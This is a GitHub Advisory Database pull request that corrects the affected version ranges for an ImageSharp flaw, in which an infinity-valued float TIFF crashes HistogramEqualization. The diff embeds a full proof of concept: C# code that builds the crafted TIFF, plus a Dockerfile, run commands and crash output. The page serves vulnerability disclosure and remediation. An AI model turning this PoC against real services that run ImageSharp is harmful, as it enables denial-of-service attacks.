Repository navigation
[GHSA-j3p4-wp97-rph4] ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index - #10268
Conversation
|
Hi there @JimBobSquarePants! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository. This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory |
There was a problem hiding this comment.
🟡 Changes recommended
The narrative still incorrectly describes the affected versions as one continuous range through v4.1.1.
1 open finding
What changed in this PR
Updates the ImageSharp advisory to reflect the v3 backported security fix.
Changes:
- Adds 3.2.0 as a patched version.
- Splits affected ranges between v2/v3 and v4.
| File | Description |
|---|---|
GHSA-j3p4-wp97-rph4.json |
Updates affected ranges and remediation guidance. |
🧠 Review effort: Balanced
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| ], | ||
| "summary": "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index", | ||
| "details": "### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List<byte> ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```", | ||
| "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List<byte> ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```", |
|
Hi GitHub Security Curation Team, Could you please urgently review this correction, submitted on 9 October? ImageSharp 3.2.0 contains the backported security fix, but the published affected-version range still includes it. The incorrect warning is blocking users whose builds enforce NuGet vulnerability checks from upgrading to the patched release. This has now been outstanding for 11 days. Please prioritise the review so users can install the security update without suppressing vulnerability warnings. Thanks, |
|
Independent downstream confirmation in support of this existing correction. We checked the released ImageSharp 3.2.0 DLL on .NET 8. Its informational version identifies the v3 security-backport commit Please update the global affected-version metadata for GHSA-j3p4-wp97-rph4 to represent the two intervals separately:
This retains the genuinely affected older releases while excluding the patched v3 line. The global range currently includes 3.2.0 and produces a NuGet audit warning for the patched package; warning suppression is not needed if the metadata reflects the backport. Public supporting sources:
Could the Security Curation Team review this existing correction? These bounded checks support the publisher's version ranges; they do not change the advisory severity. |
8d3c38f
into
JimBobSquarePants/advisory-improvement-10268
|
Hi @JimBobSquarePants! Thank you so much for contributing to the GitHub Advisory Database. This database is free, open, and accessible to all, and it's people like you who make it great. Thanks for choosing to help others. We hope you send in more contributions in the future! |

Updates
Comments
The fix has been backported and released in ImageSharp 3.2.0. Split the affected ranges to exclude the fixed v3 release while preserving the existing v4 fix. The repository advisory has already been updated.
Release: https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0
Repository advisory: GHSA-j3p4-wp97-rph4